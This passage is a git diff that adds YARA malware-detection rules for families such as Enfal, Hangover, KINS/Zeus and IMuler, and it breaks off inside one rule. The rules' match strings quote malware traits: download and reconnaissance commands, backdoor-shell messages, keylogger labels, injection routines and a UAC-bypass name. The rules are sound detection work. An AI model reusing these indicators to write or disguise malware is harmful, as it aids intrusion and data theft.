diff --git a/yara-mikesxrs/Seth Hardy/bangat.yar b/yara-mikesxrs/Seth Hardy/bangat.yar
new file mode 100644
index 0000000..8edd2d2
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/bangat.yar	
@@ -0,0 +1,45 @@
+private rule BangatCode : Bangat Family 
+{
+    meta:
+        description = "Bangat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // dec [ebp + procname], push eax, push edx, call get procaddress
+        $ = { FE 4D ?? 8D 4? ?? 50 5? FF }
+    
+    condition:
+        any of them
+}
+
+private rule BangatStrings : Bangat Family
+{
+    meta:
+        description = "Bangat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $lib1 = "DreatePipe"
+        $lib2 = "HetSystemDirectoryA"
+        $lib3 = "SeleaseMutex"
+        $lib4 = "DloseWindowStation"
+        $lib5 = "DontrolService"
+        $file = "~hhC2F~.tmp"
+        $mc = "~_MC_3~"
+
+    condition:
+       all of ($lib*) or $file or $mc
+}
+
+rule Bangat : Family
+{
+    meta:
+        description = "Bangat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        BangatCode or BangatStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/boouset.yar b/yara-mikesxrs/Seth Hardy/boouset.yar
new file mode 100644
index 0000000..14d391b
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/boouset.yar	
@@ -0,0 +1,42 @@
+private rule BoousetCode : Boouset Family 
+{
+    meta:
+        description = "Boouset code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $boousetdat = { C6 ?? ?? ?? ?? 00 62 C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 75 }
+        
+    condition:
+        any of them
+}
+
+private rule BoousetStrings : Boouset Family
+{
+    meta:
+        description = "Boouset Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        //$s1 = "Q\x00\x00\x00\x00W\x00\x00\x00\x00E\x00\x00\x00\x00R\x00\x00\x00\x00T\x00\x00\x00\x00Y\x00\x00\x00\x00"
+        //$s2 = "A\x00\x00\x00\x00S\x00\x00\x00\x00D\x00\x00\x00\x00F\x00\x00\x00\x00G\x00\x00\x00\x00H"
+        //$s3 = "Z\x00\x00\x00\x00X\x00\x00\x00\x00C\x00\x00\x00\x00V\x00\x00\x00\x00B\x00\x00\x00\x00N\x00\x00\x00\x00"
+        $s4 = "\\~Z8314.tmp"
+        $s5 = "hulee midimap" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Boouset : Family
+{
+    meta:
+        description = "Boouset"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        BoousetCode or BoousetStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/comfoo.yar b/yara-mikesxrs/Seth Hardy/comfoo.yar
new file mode 100644
index 0000000..ea58587
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/comfoo.yar	
@@ -0,0 +1,43 @@
+private rule ComfooCode : Comfoo Family 
+{
+    meta:
+        description = "Comfoo code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $resource = { 6A 6C 6A 59 55 E8 01 FA FF FF }
+  
+    condition:
+        any of them
+}
+
+private rule ComfooStrings : Comfoo Family
+{
+    meta:
+        description = "Comfoo Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "fefj90"
+        $ = "iamwaitingforu653890"
+        $ = "watchevent29021803"
+        $ = "THIS324NEWGAME"
+        $ = "ms0ert.temp"
+        $ = "\\mstemp.temp"
+        
+    condition:
+       any of them
+}
+
+rule Comfoo : Family
+{
+    meta:
+        description = "Comfoo"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        ComfooCode or ComfooStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/cookies.yar b/yara-mikesxrs/Seth Hardy/cookies.yar
new file mode 100644
index 0000000..fc038d2
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/cookies.yar	
@@ -0,0 +1,38 @@
+private rule CookiesStrings : Cookies Family
+{
+    meta:
+        description = "Cookies Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $zip1 = "ntdll.exePK"
+        $zip2 = "AcroRd32.exePK"
+        $zip3 = "Setup=ntdll.exe\x0d\x0aSilent=1\x0d\x0a"
+        $zip4 = "Setup=%temp%\\AcroRd32.exe\x0d\x0a"
+        $exe1 = "Leave GetCommand!"
+        $exe2 = "perform exe success!"
+        $exe3 = "perform exe failure!"
+        $exe4 = "Entry SendCommandReq!"
+        $exe5 = "Reqfile not exist!"
+        $exe6 = "LeaveDealUpfile!"
+        $exe7 = "Entry PostData!"
+        $exe8 = "Leave PostFile!"
+        $exe9 = "Entry PostFile!"
+        $exe10 = "\\unknow.zip" wide ascii
+        $exe11 = "the url no respon!"
+        
+    condition:
+      (2 of ($zip*)) or (2 of ($exe*))
+}
+
+rule Cookies : Family
+{
+    meta:
+        description = "Cookies"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        CookiesStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/cxpid.yar b/yara-mikesxrs/Seth Hardy/cxpid.yar
new file mode 100644
index 0000000..3bb446c
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/cxpid.yar	
@@ -0,0 +1,43 @@
+private rule cxpidCode : cxpid Family 
+{
+    meta:
+        description = "cxpid code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        $entryjunk = { 55 8B EC B9 38 04 00 00 6A 00 6A 00 49 75 F9 }
+    
+    condition:
+        any of them
+}
+
+private rule cxpidStrings : cxpid Family
+{
+    meta:
+        description = "cxpid Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "/cxpid/submit.php?SessionID="
+        $ = "/cxgid/"
+        $ = "E21BC52BEA2FEF26D005CF"
+        $ = "E21BC52BEA39E435C40CD8"
+        $ = "                   -,L-,O+,Q-,R-,Y-,S-"
+        
+    condition:
+       any of them
+}
+
+
+rule cxpid : Family
+{
+    meta:
+        description = "cxpid"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        cxpidCode or cxpidStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/enfal.yar b/yara-mikesxrs/Seth Hardy/enfal.yar
new file mode 100644
index 0000000..1da7413
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/enfal.yar	
@@ -0,0 +1,69 @@
+private rule EnfalCode : Enfal Family 
+{
+    meta:
+        description = "Enfal code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        // mov al, 20h; sub al, bl; add [ebx+esi], al; push esi; inc ebx; call edi; cmp ebx, eax
+        $decrypt = { B0 20 2A C3 00 04 33 56 43 FF D7 3B D8 }
+        
+    condition:
+        any of them
+}
+
+private rule EnfalStrings : Enfal Family
+{
+    meta:
+        description = "Enfal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "D:\\work\\\xe6\xba\x90\xe5\x93\xa5\xe5\x85\x8d\xe6\x9d\x80\\tmp\\Release\\ServiceDll.pdb"
+        $ = "e:\\programs\\LuridDownLoader"
+        $ = "LuridDownloader for Falcon"
+        $ = "DllServiceTrojan"
+        $ = "\\k\\\xe6\xa1\x8c\xe8\x9d\xa2\\"
+        $ = "EtenFalcon\xef\xbc\x88\xe4\xbf\xae\xe6\x94\xb9\xef\xbc\x89"
+        $ = "Madonna\x00Jesus"
+        $ = "/iupw82/netstate"
+        $ = "fuckNodAgain"
+        $ = "iloudermao"
+        $ = "Crpq2.cgi"
+        $ = "Clnpp5.cgi"
+        $ = "Dqpq3ll.cgi"
+        $ = "dieosn83.cgi"
+        $ = "Rwpq1.cgi"
+        $ = "/Ccmwhite"
+        $ = "/Cmwhite"
+        $ = "/Crpwhite"
+        $ = "/Dfwhite"
+        $ = "/Query.txt"
+        $ = "/Ufwhite"
+        $ = "/cgl-bin/Clnpp5.cgi"
+        $ = "/cgl-bin/Crpq2.cgi"
+        $ = "/cgl-bin/Dwpq3ll.cgi"
+        $ = "/cgl-bin/Owpq4.cgi"
+        $ = "/cgl-bin/Rwpq1.cgi"
+        $ = "/trandocs/mm/"
+        $ = "/trandocs/netstat"
+        $ = "NFal.exe"
+        $ = "LINLINVMAN"
+        $ = "7NFP4R9W"
+        
+    condition:
+        any of them
+}
+
+rule Enfal : Family
+{
+    meta:
+        description = "Enfal"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        EnfalCode or EnfalStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/ezcob.yar b/yara-mikesxrs/Seth Hardy/ezcob.yar
new file mode 100644
index 0000000..7a7c2f9
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/ezcob.yar	
@@ -0,0 +1,28 @@
+private rule EzcobStrings : Ezcob Family
+{
+    meta:
+        description = "Ezcob Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "\x12F\x12F\x129\x12E\x12A\x12E\x12B\x12A\x12-\x127\x127\x128\x123\x12"
+        $ = "\x121\x12D\x128\x123\x12B\x122\x12E\x128\x12-\x12B\x122\x123\x12D\x12"
+        $ = "Ezcob" wide ascii
+        $ = "l\x12i\x12u\x122\x120\x121\x123\x120\x124\x121\x126"
+        $ = "20110113144935"
+        
+    condition:
+       any of them
+}
+
+rule Ezcob : Family
+{
+    meta:
+        description = "Ezcob"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        EzcobStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/f0xy.yar b/yara-mikesxrs/Seth Hardy/f0xy.yar
new file mode 100644
index 0000000..7ec5b91
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/f0xy.yar	
@@ -0,0 +1,14 @@
+rule ws_f0xy_downloader {
+  meta:
+    description = "f0xy malware downloader"
+    author = "Nick Griffin (Websense)"
+
+  strings:
+    $mz="MZ"
+    $string1="bitsadmin /transfer"
+    $string2="del rm.bat"
+    $string3="av_list="
+  
+  condition:
+    ($mz at 0) and (all of ($string*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/fakem.yar b/yara-mikesxrs/Seth Hardy/fakem.yar
new file mode 100644
index 0000000..98942ab
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/fakem.yar	
@@ -0,0 +1,42 @@
+private rule HTMLVariant : FakeM Family HTML Variant
+{
+	meta:
+		description = "Identifier for html variant of FAKEM"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		// decryption loop
+		$s1 = { 8B 55 08 B9 00 50 00 00 8D 3D ?? ?? ?? 00 8B F7 AD 33 C2 AB 83 E9 04 85 C9 75 F5 }
+		//mov byte ptr [ebp - x] y, x: 0x10-0x1 y: 0-9,A-F
+		$s2 = { C6 45 F? (3?|4?) }
+
+	condition:
+		$s1 and #s2 == 16
+
+}
+
+//todo: need rules for other variants
+rule FakeM : Family
+{
+	meta:
+		description = "FakeM"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-03"
+	
+	condition:
+		HTMLVariant
+
+
+}
+
+rule FAKEMhtml : Variant
+{
+	meta:
+		description = "Rule for just the HTML Variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-10"
+	
+	condition:
+		HTMLVariant
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/favorite.yar b/yara-mikesxrs/Seth Hardy/favorite.yar
new file mode 100644
index 0000000..7ac5732
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/favorite.yar	
@@ -0,0 +1,42 @@
+private rule FavoriteCode : Favorite Family 
+{
+    meta:
+        description = "Favorite code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // standard string hiding
+        $ = { C6 45 ?? 3B C6 45 ?? 27 C6 45 ?? 34 C6 45 ?? 75 C6 45 ?? 6B C6 45 ?? 6C C6 45 ?? 3B C6 45 ?? 2F }
+        $ = { C6 45 ?? 6F C6 45 ?? 73 C6 45 ?? 73 C6 45 ?? 76 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 78 C6 45 ?? 65 }
+    
+    condition:
+        any of them
+}
+
+private rule FavoriteStrings : Favorite Family
+{
+    meta:
+        description = "Favorite Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $string1 = "!QAZ4rfv"
+        $file1 = "msupdater.exe"
+        $file2 = "FAVORITES.DAT"
+        
+    condition:
+       any of ($string*) or all of ($file*)
+}
+
+rule Favorite : Family
+{
+    meta:
+        description = "Favorite"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        FavoriteCode or FavoriteStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/glasses.yar b/yara-mikesxrs/Seth Hardy/glasses.yar
new file mode 100644
index 0000000..617bd58
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/glasses.yar	
@@ -0,0 +1,43 @@
+private rule GlassesCode : Glasses Family 
+{
+    meta:
+        description = "Glasses code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = { B8 AB AA AA AA F7 E1 D1 EA 8D 04 52 2B C8 }
+        $ = { B8 56 55 55 55 F7 E9 8B 4C 24 1C 8B C2 C1 E8 1F 03 D0 49 3B CA }
+        
+    condition:
+        any of them
+}
+
+private rule GlassesStrings : Glasses Family
+{
+    meta:
+        description = "Strings used by Glasses"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = "thequickbrownfxjmpsvalzydg"
+        $ = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; %s.%s)"
+        $ = "\" target=\"NewRef\"></a>"
+ 
+    condition:
+        all of them
+
+}
+
+rule Glasses : Family
+{
+    meta:
+        description = "Glasses family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+   
+    condition:
+        GlassesCode or GlassesStrings
+        
+}
diff --git a/yara-mikesxrs/Seth Hardy/hangover.yar b/yara-mikesxrs/Seth Hardy/hangover.yar
new file mode 100644
index 0000000..8b5af55
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/hangover.yar	
@@ -0,0 +1,307 @@
+rule Hangover_ron_babylon
+{
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
+rule Hangover_Fuddol {
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
+rule Hangover_UpdateEx {
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Tymtin_Degrab {
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_Downloader {
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+rule Hangover_Vacrhan_Downloader {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_various {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
+rule Hangover_Foler {
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Appinbot {
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Linog {
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Iconfall {
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Deksila {
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Auspo {
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Slidewin {
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwlog {
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwup {
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover2_Downloader {
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_stealer {
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_backdoor_shell {
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_Keylogger {
+
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > " wide ascii
+
+    $c = "Global\\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/iexpl0re.yar b/yara-mikesxrs/Seth Hardy/iexpl0re.yar
new file mode 100644
index 0000000..7977fc3
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/iexpl0re.yar	
@@ -0,0 +1,58 @@
+private rule iexpl0reCode : iexpl0ree Family 
+{
+    meta:
+        description = "iexpl0re code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = { 47 83 FF 64 0F 8C 6D FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        $ = { 80 74 0D A4 44 41 3B C8 7C F6 68 04 01 00 00 }
+        $ = { 8A C1 B2 07 F6 EA 30 04 31 41 3B 4D 10 7C F1 }
+        $ = { 47 83 FF 64 0F 8C 79 FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        // 88h decrypt
+        $ = { 68 88 00 00 00 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        $ = { BB 88 00 00 00 53 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        
+    condition:
+        any of them
+}
+
+private rule iexpl0reStrings : iexpl0re Family
+{
+    meta:
+        description = "Strings used by iexpl0re"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = "%USERPROFILE%\\IEXPL0RE.EXE"
+        $ = "\"<770j (("
+        $ = "\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\IEXPL0RE.LNK"
+        $ = "\\Documents and Settings\\%s\\Application Data\\Microsoft\\Internet Explorer\\IEXPL0RE.EXE"
+        $ = "LoaderV5.dll"
+        // stage 2
+        $ = "POST /index%0.9d.asp HTTP/1.1"
+        $ = "GET /search?n=%0.9d&"
+        $ = "DUDE_AM_I_SHARP-3.14159265358979x6.626176"
+        $ = "WHO_A_R_E_YOU?2.99792458x1.25663706143592"
+        $ = "BASTARD_&&_BITCHES_%0.8x"
+        $ = "c:\\bbb\\eee.txt"
+        
+    condition:
+        any of them
+
+}
+
+
+rule iexpl0re : Family
+{
+    meta:
+        description = "iexpl0re family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+   
+    condition:
+        iexpl0reCode or iexpl0reStrings
+        
+}
diff --git a/yara-mikesxrs/Seth Hardy/imuler.yar b/yara-mikesxrs/Seth Hardy/imuler.yar
new file mode 100644
index 0000000..85c5cf7
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/imuler.yar	
@@ -0,0 +1,61 @@
+private rule IMulerCode : IMuler Family 
+{
+    meta:
+        description = "IMuler code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_tmpSpotlight = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 53 70 6F }
+        $L4_TMPAAABBB = { C7 ?? ?? ?? ?? ?? 54 4D 50 41 C7 ?? ?? ?? ?? ?? 41 41 42 42 }
+        $L4_FILEAGENTVer = { C7 ?? 46 49 4C 45 C7 ?? 04 41 47 45 4E }
+        $L4_TMP0M34JDF8 = { C7 ?? ?? ?? ?? ?? 54 4D 50 30 C7 ?? ?? ?? ?? ?? 4D 33 34 4A }
+        $L4_tmpmdworker = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 2E 6D 64 }
+        
+    condition:
+        any of ($L4*)
+}
+
+private rule IMulerStrings : IMuler Family
+{
+    meta:
+        description = "IMuler Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        $ = "/cgi-mac/"
+        $ = "xnocz1"
+        $ = "checkvir.plist"
+        $ = "/Users/apple/Documents/mac back"
+        $ = "iMuler2"
+        $ = "/Users/imac/Desktop/macback/"
+        $ = "xntaskz.gz"
+        $ = "2wmsetstatus.cgi"
+        $ = "launch-0rp.dat"
+        $ = "2wmupload.cgi"
+        $ = "xntmpz"
+        $ = "2wmrecvdata.cgi"
+        $ = "xnorz6"
+        $ = "2wmdelfile.cgi"
+        $ = "/LanchAgents/checkvir"
+        $ = "0PERA:%s"
+        $ = "/tmp/Spotlight"
+        $ = "/tmp/launch-ICS000"
+        
+    condition:
+        any of them
+}
+
+
+rule IMuler : Family
+{
+    meta:
+        description = "IMuler"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        IMulerCode or IMulerStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/insta11.yar b/yara-mikesxrs/Seth Hardy/insta11.yar
new file mode 100644
index 0000000..4ccbc41
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/insta11.yar	
@@ -0,0 +1,43 @@
+private rule Insta11Code : Insta11 Family 
+{
+    meta:
+        description = "Insta11 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        // jmp $+5; push 423h
+        $jumpandpush = { E9 00 00 00 00 68 23 04 00 00 }
+    
+    condition:
+        any of them
+}
+
+private rule Insta11Strings : Insta11 Family
+{
+    meta:
+        description = "Insta11 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "XTALKER7"
+        $ = "Insta11 Microsoft" wide ascii
+        $ = "wudMessage"
+        $ = "ECD4FC4D-521C-11D0-B792-00A0C90312E1"
+        $ = "B12AE898-D056-4378-A844-6D393FE37956"
+        
+    condition:
+       any of them
+}
+
+rule Insta11 : Family
+{
+    meta:
+        description = "Insta11"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        Insta11Code or Insta11Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/kins.yar b/yara-mikesxrs/Seth Hardy/kins.yar
new file mode 100644
index 0000000..b4959a1
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/kins.yar	
@@ -0,0 +1,44 @@
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/leverage.yar b/yara-mikesxrs/Seth Hardy/leverage.yar
new file mode 100644
index 0000000..d5e6472
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/leverage.yar	
@@ -0,0 +1,18 @@
+rule leverage_a
+{
+	meta:
+		author = "earada@alienvault.com"
+		version = "1.0"
+		description = "OSX/Leverage.A"
+		date = "2013/09"
+	strings:
+		$a1 = "ioreg -l | grep \"IOPlatformSerialNumber\" | awk -F"
+		$a2 = "+:Users:Shared:UserEvent.app:Contents:MacOS:"
+		$a3 = "rm '/Users/Shared/UserEvent.app/Contents/Resources/UserEvent.icns'"
